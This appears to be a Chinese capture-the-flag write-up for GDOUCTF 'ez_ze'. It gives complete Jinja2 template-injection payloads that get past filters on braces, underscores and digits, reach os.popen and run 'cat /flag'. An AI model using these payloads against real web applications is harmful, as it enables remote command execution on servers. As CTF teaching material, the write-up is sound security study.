当前位置: 首页 > news >正文

[GDOUCTF 2023]<ez_ze> SSTI 过滤数字 大括号{等

SSTI模板注入-中括号、args、下划线、单双引号、os、request、花括号、数字被过滤绕过(ctfshow web入门370)-CSDN博客

ssti板块注入

正好不会 {%%}的内容 学习一下

经过测试 发现过滤了 {{}}

那么我们就开始吧

我们可以通过这个语句来查询是否存在ssti

{%if 条件%}result{%endif%}解释一下 如果条件里为真 就输出 result 否则不输出修改一下
{%if not a%}yes{%endif%}第二种{%print 123%}通过输出123来判断

 

存在咯

这里跟着师傅的wp走 他那边过滤了数字 我们也来看看

获取数字

{%set one=dict(c=a)|join|count%}{%set two=dict(cc=a)|join|count%}{%set three=dict(ccc=a)|join|count%}

这里就可以获取数字

但是这道题不需要

然后我们首先确定一下我们需要的payload

(lipsum|attr("__globals__").get("os").popen("cat /flag").read()

 

这个时候我们需要获取_通过lipsum|string|list

这个时候可以通过 pop方法

 获取_

先需要获取pop

pop方法可以根据索引值来删除列中的某个元素并将该元素返回值返回。
{%set pop=dict(pop=a)|join%}

{%set one=dict(c=a)|join|count%}
{%set two=dict(cc=a)|join|count%}
{%set three=dict(ccc=a)|join|count%}
{%set four=dict(cccc=a)|join|count%}
{%set five=dict(ccccc=a)|join|count%}
{%set six=dict(cccccc=a)|join|count%}
{%set seven=dict(ccccccc=a)|join|count%}
{%set eight=dict(cccccccc=a)|join|count%}
{%set nine=dict(ccccccccc=a)|join|count%}
{%set pop=dict(pop=a)|join%}
{%set xiahuaxian=(lipsum|string|list)%}{%print xiahuaxian%}然后我们数 可以发现 _ 在24 所以我们索引即可{%set one=dict(c=a)|join|count%}
{%set two=dict(cc=a)|join|count%}
{%set three=dict(ccc=a)|join|count%}
{%set four=dict(cccc=a)|join|count%}
{%set five=dict(ccccc=a)|join|count%}
{%set six=dict(cccccc=a)|join|count%}
{%set seven=dict(ccccccc=a)|join|count%}
{%set eight=dict(cccccccc=a)|join|count%}
{%set nine=dict(ccccccccc=a)|join|count%}
{%set pop=dict(pop=a)|join%}
{%set xiahuaxian=(lipsum|string|list)|attr(pop)(three*eight)%}{%print xiahuaxian%}

 

成功获取

然后获取golbals

name={%set one=dict(c=a)|join|count%}
{%set two=dict(cc=a)|join|count%}
{%set three=dict(ccc=a)|join|count%}
{%set four=dict(cccc=a)|join|count%}
{%set five=dict(ccccc=a)|join|count%}
{%set six=dict(cccccc=a)|join|count%}
{%set seven=dict(ccccccc=a)|join|count%}
{%set eight=dict(cccccccc=a)|join|count%}
{%set nine=dict(ccccccccc=a)|join|count%}
{%set pop=dict(pop=a)|join%}
{%set xiahuaxian=(lipsum|string|list)|attr(pop)(three*eight)%}
{%set globals=(xiahuaxian,xiahuaxian,dict(globals=a)|join,xiahuaxian,xiahuaxian)|join%}
{%print globals%}

获取os

首先需要获取get

{%set get=dict(get=a)|join%}{%print get%}

然后

然后我们可以获取os

{%set shell=dict(o=a,s=b)|join%}{%print shell%}

获取popen

{%set popen=dict(pop=a,en=b)|join%}{%print popen%}

过滤了 改名字就可以了

{%set one=dict(c=a)|join|count%}
{%set two=dict(cc=a)|join|count%}
{%set three=dict(ccc=a)|join|count%}
{%set four=dict(cccc=a)|join|count%}
{%set five=dict(ccccc=a)|join|count%}
{%set six=dict(cccccc=a)|join|count%}
{%set seven=dict(ccccccc=a)|join|count%}
{%set eight=dict(cccccccc=a)|join|count%}
{%set nine=dict(ccccccccc=a)|join|count%}
{%set pop=dict(pop=a)|join%}
{%set xiahuaxian=(lipsum|string|list)|attr(pop)(three*eight)%}
{%set globals=(xiahuaxian,xiahuaxian,dict(globals=a)|join,xiahuaxian,xiahuaxian)|join%}
{%set get=dict(get=a)|join%}
{%set shell=dict(o=a,s=b)|join%}
{%set pp=dict(po=a,pen=b)|join%}
{%print lipsum|attr(globals)|attr(get)(shell)|attr(pp)%}

成功获取咯

获取chr

首先要获取__builtins__


{%set one=dict(c=a)|join|count%}
{%set two=dict(cc=a)|join|count%}
{%set three=dict(ccc=a)|join|count%}
{%set four=dict(cccc=a)|join|count%}
{%set five=dict(ccccc=a)|join|count%}
{%set six=dict(cccccc=a)|join|count%}
{%set seven=dict(ccccccc=a)|join|count%}
{%set eight=dict(cccccccc=a)|join|count%}
{%set nine=dict(ccccccccc=a)|join|count%}
{%set pop=dict(pop=a)|join%}
{%set xiahuaxian=(lipsum|string|list)|attr(pop)(three*eight)%}
{%set globals=(xiahuaxian,xiahuaxian,dict(globals=a)|join,xiahuaxian,xiahuaxian)|join%}
{%set get=dict(get=a)|join%}
{%set shell=dict(o=a,s=b)|join%}
{%set pp=dict(po=a,pen=b)|join%}
{%set builtins=(xiahuaxian,xiahuaxian,dict(builtins=a)|join,xiahuaxian,xiahuaxian)|join%}
{%print builtins%}

获取chr


{%set one=dict(c=a)|join|count%}
{%set two=dict(cc=a)|join|count%}
{%set three=dict(ccc=a)|join|count%}
{%set four=dict(cccc=a)|join|count%}
{%set five=dict(ccccc=a)|join|count%}
{%set six=dict(cccccc=a)|join|count%}
{%set seven=dict(ccccccc=a)|join|count%}
{%set eight=dict(cccccccc=a)|join|count%}
{%set nine=dict(ccccccccc=a)|join|count%}
{%set pop=dict(pop=a)|join%}
{%set xiahuaxian=(lipsum|string|list)|attr(pop)(three*eight)%}
{%set globals=(xiahuaxian,xiahuaxian,dict(globals=a)|join,xiahuaxian,xiahuaxian)|join%}
{%set get=dict(get=a)|join%}
{%set shell=dict(o=a,s=b)|join%}
{%set pp=dict(po=a,pen=b)|join%}
{%set builtins=(xiahuaxian,xiahuaxian,dict(builtins=a)|join,xiahuaxian,xiahuaxian)|join%}
{%set char=(lipsum|attr(globals))|attr(get)(builtins)|attr(get)(dict(chr=a)|join)%}
{%print char%}

成功

然后就是通过char拼接命令

?name={%set one=dict(c=a)|join|count%}
{%set two=dict(cc=a)|join|count%}
{%set three=dict(ccc=a)|join|count%}
{%set four=dict(cccc=a)|join|count%}
{%set five=dict(ccccc=a)|join|count%}
{%set six=dict(cccccc=a)|join|count%}
{%set seven=dict(ccccccc=a)|join|count%}
{%set eight=dict(cccccccc=a)|join|count%}
{%set nine=dict(ccccccccc=a)|join|count%}
{%set pop=dict(pop=a)|join%}
{%set xiahuaxian=(lipsum|string|list)|attr(pop)(three*eight)%}
{%set globals=(xiahuaxian,xiahuaxian,dict(globals=a)|join,xiahuaxian,xiahuaxian)|join%}
{%set%20get=dict(get=a)|join%}
{%set builtins=(xiahuaxian,xiahuaxian,dict(builtins=a)|join,xiahuaxian,xiahuaxian)|join%}
{%set char=(lipsum|attr(globals))|attr(get)(builtins)|attr(get)(dict(chr=a)|join)%}
{%set command=char(five*five*four-one)%2bchar(five*five*four-three)%2bchar(four*five*six-four)%2bchar(four*eight)%2bchar(six*eight-one)%2bchar(three*six*six-six)%2bchar(three*six*six)%2bchar(five*five*four-three)%2bchar(three*six*six-five)%}
{%print command%}

然后就是获取read

获取read

name={%set read=dict(read=a)|join%}{%print read%}

最后就是拼接执行命令

name={%set one=dict(c=a)|join|count%}
{%set two=dict(cc=a)|join|count%}
{%set three=dict(ccc=a)|join|count%}
{%set four=dict(cccc=a)|join|count%}
{%set five=dict(ccccc=a)|join|count%}
{%set six=dict(cccccc=a)|join|count%}
{%set seven=dict(ccccccc=a)|join|count%}
{%set eight=dict(cccccccc=a)|join|count%}
{%set nine=dict(ccccccccc=a)|join|count%}
{%set pop=dict(pop=a)|join%}
{%set xiahuaxian=(lipsum|string|list)|attr(pop)(three*eight)%}
{%set globals=(xiahuaxian,xiahuaxian,dict(globals=a)|join,xiahuaxian,xiahuaxian)|join%}
{%set get=dict(get=a)|join%}
{%set shell=dict(o=a,s=b)|join%}
{%set pp=dict(po=a,pen=b)|join%}
{%set builtins=(xiahuaxian,xiahuaxian,dict(builtins=a)|join,xiahuaxian,xiahuaxian)|join%}
{%set char=(lipsum|attr(globals))|attr(get)(builtins)|attr(get)(dict(chr=a)|join)%}
{%set command=char(five*five*four-one)%2bchar(five*five*four-three)%2bchar(four*five*six-four)%2bchar(four*eight)%2bchar(six*eight-one)%2bchar(three*six*six-six)%2bchar(three*six*six)%2bchar(five*five*four-three)%2bchar(three*six*six-five)%}
{%set read=dict(read=a)|join%}{%print (lipsum|attr(globals))|attr(get)(shell)|attr(pp)(command)|attr(read)()%}

确实学到了 但是这个太麻烦了 这个是很极端的我们这道题没有过滤这么多

正常来

{% set pop=dict(pop=1)|join %}   {% set kong=(lipsum|string|list)|attr(pop)(9) %}{% set xhx=(lipsum|string|list)|attr(pop)(18) %}{% set re=(config|string|list)|attr(pop)(239) %}{% set globals=(xhx,xhx,dict(globals=a)|join,xhx,xhx)|join %}{% set geti=(xhx,xhx,dict(get=a,item=b)|join,xhx,xhx)|join %}{% set o=dict(o=a,s=b)|join %}{% set po=dict(pop=a,en=b)|join %}{% set cmd=(dict(cat=a)|join,kong,re,dict(flag=a)|join)|join %}{% set read=dict(read=a)|join %}{% print(lipsum|attr(globals)|attr(geti)(o)|attr(po)(cmd)|attr(read)()) %}这里原型是lipsum.__globals__.getitem[os].popen(cat flag).read()类似于这种

 真是一个恐怖的ssti

相关文章:

[GDOUCTF 2023]<ez_ze> SSTI 过滤数字 大括号{等

SSTI模板注入-中括号、args、下划线、单双引号、os、request、花括号、数字被过滤绕过(ctfshow web入门370)-CSDN博客 ssti板块注入 正好不会 {%%}的内容 学习一下 经过测试 发现过滤了 {{}} 那么我们就开始吧 我们可以通过这个语句来查询是否存在ss…...

C/C++奇数求和 2021年3月电子学会青少年软件编程(C/C++)等级考试一级真题答案解析

目录 C/C奇数求和 一、题目要求 1、编程实现 2、输入输出 二、算法分析 三、程序编写 四、程序说明 五、运行结果 六、考点分析 C/C奇数求和 2021年3月 C/C编程等级考试一级编程题 一、题目要求 1、编程实现 计算非负整数 m 到 n(包括m 和 n &#xff…...

Android APT的使用

Apt 介绍 APT(Annotation Processing Tool)是一种处理注释的工具,它对源代码文件进行检测找出其中的 Annotation,根据注解自动生成代码。 Annotation 处理器在处理 Annotation 时可以根据源文件中的 Annotation 生成额外的源文件和其它的文件(文件具体内容由 Annot…...

【刷题宝典NO.0】

目录 素数的判定 打印素数 打印水仙花数 百钱买百坤 输出闰年 逆序打印一个整数的每一位 输出乘法口诀表 数字9出现的次数 二进制1的个数 输出一个整数的偶数位和奇数位的二进制序列 求两个整数的最大公约数 求两个整数的最小公倍数 小乐乐与欧几里得 小…...

MySQL数据库——存储过程-介绍以及基本语法(特点、创建、调用、查看、删除、示例)

目录 介绍 特点 基本语法 创建 调用 查看 删除 示例 介绍 存储过程是事先经过编译并存储在数据库中的一段 SQL 语句的集合,调用存储过程可以简化应用开发人员的很多工作,减少数据在数据库和应用服务器之间的传输,对于提高数据处理…...

基础课15——语音标注

语音数据标注是对语音数据进行处理和分析的过程,目的是让人工智能系统能够理解和识别语音中的信息。这个过程包括了对语音信号的预处理、特征提取、标注等步骤。 在语音数据标注中,标注员需要对语音数据进行分类、切分、转写等操作,让人工智…...

Linux启动故障排错

Linux启动过程 开机流程、模块管理-CSDN博客 Grub三个阶段 1st stage:执行Grub主程序。Grub安装在MBR。由于MBR太小,所以与配置文件分开放1.5 stage:识别不同的文件系统2nd stage:加载Grub配置文件 /boot/grub2/grub.cfg。配置…...

全新二开游戏支付通道/话费/电网、紫水晶带云端源码

源码修复可用,YY业务都可用 本店所售程序只供测试研究,不得使用于非法用途,不得违反国家法律,不得用于进行违法行为,否则后果自负!购买以后用作他用附带的一切法律责任后果都由购买者承担于本店无任何关…...

Hadoop相关知识点

文章目录 一、主要命令二、配置虚拟机2.1 设置静态ip2.2 修改主机名及映射2.3 修改映射2.4 单机模式2.5 伪分布式2.6 完全分布式 三、初识Hadoop四、三种模式的区别4.1、单机模式与伪分布式模式的区别4.2、特点4.3、配置文件的差异4.3.1、单机模式4.3.2、伪分布式模式4.3.3、完…...

Javassist讲解1(介绍,读写字节码)

Javassist讲解1(介绍,读写字节码) 介绍一、读写字节码1.如何创建新的类2.类冻结 介绍 javassist 使Java字节码操作变得简单,它是一个用于在Java中编辑字节码的类库; 它使Java程序能够在运行时定义一个新类,…...

【Linux】常见指令以及具体其使用场景

君兮_的个人主页 即使走的再远,也勿忘启程时的初心 C/C 游戏开发 Hello,米娜桑们,这里是君兮_,随着博主的学习,博主掌握的技能也越来越多,今天又根据最近的学习开设一个新的专栏——Linux,相信Linux操作系…...

后台管理(二)

1、权限控制 如果没有权限控制,系统的功能完全不设防,全部暴露在所有用户面前。用户登录以后可以使用系统中的所有功能。这是实际运行中不能接受的,所以权限控制系统的目标就是管理用户行为,保护系统功能。 1.1、 定义资源 资源就…...

反转链表II(C++解法)

题目 给你单链表的头指针 head 和两个整数 left 和 right &#xff0c;其中 left < right 。请你反转从位置 left 到位置 right 的链表节点&#xff0c;返回 反转后的链表 。 示例 1&#xff1a; 输入&#xff1a;head [1,2,3,4,5], left 2, right 4 输出&#xff1a;[1…...

记一次 logback 没有生成独立日志文件问题

背景 在新项目发布后发现日志文件并没有按照期望的方式独立开来&#xff0c;而是都写在了 application.log 文件中。 问题展示 日志文件&#xff1a; 项目引入展示&#xff1a; <include resource"paas/sendinfo/switch/client/sendinfo-paas-switch-client-log.…...

数据库强化(1.视图)

1.什么是视图 视图是指计算机数据库中的视图&#xff0c;是一个虚拟表&#xff0c;其内容由查询定义。同真实的表一样&#xff0c;视图包含一系列带有名称的列和行数据。但是&#xff0c;视图并不在数据库中以存储的数据值集形式存在。行和列数据来自由定义视图的查询所引用的…...

Mysql与SeaweedFS数据不同步问题产生原因及解决办法

文章目录 Mysql与SeaweedFS数据不同步问题的探究与解决问题背景原因探究不一致的写操作缺乏事务管理 解决方案引入分布式事务处理使用消息队列 实践演示&#xff08;python代码&#xff09;结论 Mysql与SeaweedFS数据不同步问题的探究与解决 问题背景 在数据库和文件存储系统…...

Kotlin apply和with用法和区别

apply apply 是 Kotlin 标准库中的一个函数&#xff0c;它允许你在对象上执行一系列操作&#xff0c;然后返回该对象自身。它的语法结构如下&#xff1a; fun <T> T.apply(block: T.() -> Unit): T这个函数接受一个 lambda 表达式作为参数&#xff0c;该 lambda 表达…...

springboot通过aop自定义注解@Log实现日志打印

springboot通过aop自定义注解Log实现日志打印 文章目录 效果图实操步骤1.引入依赖2.自定义日志注解3.编写日志切面类4.UserController5.运行 效果图 实操步骤 注意&#xff0c;本代码在springboot环境下运行&#xff0c;jdk1.8 1.引入依赖 <dependency><groupId>…...

k8spod详解其二

一&#xff0c;资源限制 当定义 Pod 时可以选择性地为每个容器设定所需要的资源数量。 最常见的可设定资源是 CPU 和内存大小&#xff0c;以及其他类型的资源。 当为 Pod 中的容器指定了 request 资源时&#xff0c;调度器就使用该信息来决定将 Pod 调度到哪个节点上。当还为…...

golang包的管理

Go语言中包的使用 Go语言使用包&#xff08;package&#xff09;这种语法元素来组织源码&#xff0c;所有语法可见性均定义在package这个级别&#xff0c;与Java 、python等语言相比&#xff0c;这算不上什么创新&#xff0c;但与C传统的include相比&#xff0c;则是显得“先进…...

亚矩阵云手机实测体验:稳定流畅背后的技术逻辑​

最近在测试一款云手机服务时&#xff0c;发现亚矩阵的表现出乎意料地稳定。作为一个经常需要多设备协作的开发者&#xff0c;我对云手机的性能、延迟和稳定性要求比较高。经过一段时间的体验&#xff0c;分享一下真实感受&#xff0c;避免大家踩坑。 ​​1. 云手机能解决什么问…...

每日Prompt:每天上班的状态

提示词 一个穿着清朝官服的僵尸脸上贴着符纸&#xff0c;在电脑面前办公&#xff0c;房间阴暗&#xff0c;电脑桌面很乱&#xff0c;烟灰缸里面满是烟头...

Figma 中构建 Master Control Panel (MCP) 的完整设计方案

以下是在 Figma 中构建 Master Control Panel (MCP) 的完整设计方案&#xff0c;专为设计系统管理而优化&#xff1a; 一、MCP 核心功能架构 #mermaid-svg-iZAnYxyYU4BtpeaE {font-family:"trebuchet ms",verdana,arial,sans-serif;font-size:16px;fill:#333;}#merma…...

AI推荐系统演进史:从协同过滤到图神经网络与强化学习的融合

每一次滑动手机屏幕&#xff0c;电商平台向你推荐心仪商品的背后&#xff0c;是超过百亿量级的浮点运算。从早期的“猜你喜欢”到如今的“比你更懂你”&#xff0c;商品推荐引擎已悄然完成从简单规则到深度智能的技术跃迁。 一、协同过滤&#xff1a;推荐系统的基石与演进 协同…...

Unity优化篇之DrawCall

当然可以&#xff01;以下是完整、详尽、可发布的博客文章&#xff0c;专注讲解 Unity 的静态合批与动态合批机制&#xff0c;并详细列出它们对 Shader 的要求和所有限制条件。文章结构清晰、技术深度足够&#xff0c;适合发布在 CSDN、掘金、知乎等技术平台。 urp默认隐藏动态…...

Redux 实践与中间件应用

Redux 异步处理的挑战 Redux 核心设计是同步的、单向数据流&#xff0c;但现代应用中异步操作无处不在。Redux 中间件填补了这一缺口&#xff0c;专门解决异步流程管理、副作用隔离等复杂场景。 中间件架构原理 中间件位于 action 被发起之后、到达 reducer 之前&#xff0c…...

RK3588和FPGA桥片之间IO电平信号概率性不能通信原因

1.GPIO管脚配置问题 RK3588对IO进行配置的时候&#xff0c;如果配置为多功能复用&#xff0c;没有明确IO功能&#xff0c;可能引起信号接收不稳定&#xff0c; 需要在驱动中设备树中配置管脚为GPIO功能&#xff0c;确保没有功能复用的干扰。 2.上下拉电阻阻值设置不当 GPIO引脚…...

Unity中的MonoSingleton<T>与Singleton<T>

1.MonoSingleton 代码部分 using UnityEngine;/// <summary> /// MonoBehaviour单例基类 /// 需要挂载到GameObject上使用 /// </summary> public class MonoSingleton<T> : MonoBehaviour where T : MonoSingleton<T> {private static T _instance;…...

代码训练LeetCode(23)随机访问元素

代码训练(23)LeetCode之随机访问元素 Author: Once Day Date: 2025年6月5日 漫漫长路&#xff0c;才刚刚开始… 全系列文章可参考专栏: 十年代码训练_Once-Day的博客-CSDN博客 参考文章: 380. O(1) 时间插入、删除和获取随机元素 - 力扣&#xff08;LeetCode&#xff09;力…...

Qt OpenGL 实现交互功能(如鼠标、键盘操作)

一、基本概念 1. Qt 事件系统与 OpenGL 渲染的协同 Qt 提供了完善的事件处理机制,而 OpenGL 负责图形渲染。交互的实现本质上是: 事件捕获:通过 Qt 的事件系统(如 mousePressEvent、keyPressEvent)捕获用户输入。 状态更新:根据输入事件更新场景状态(如相机位置、模型…...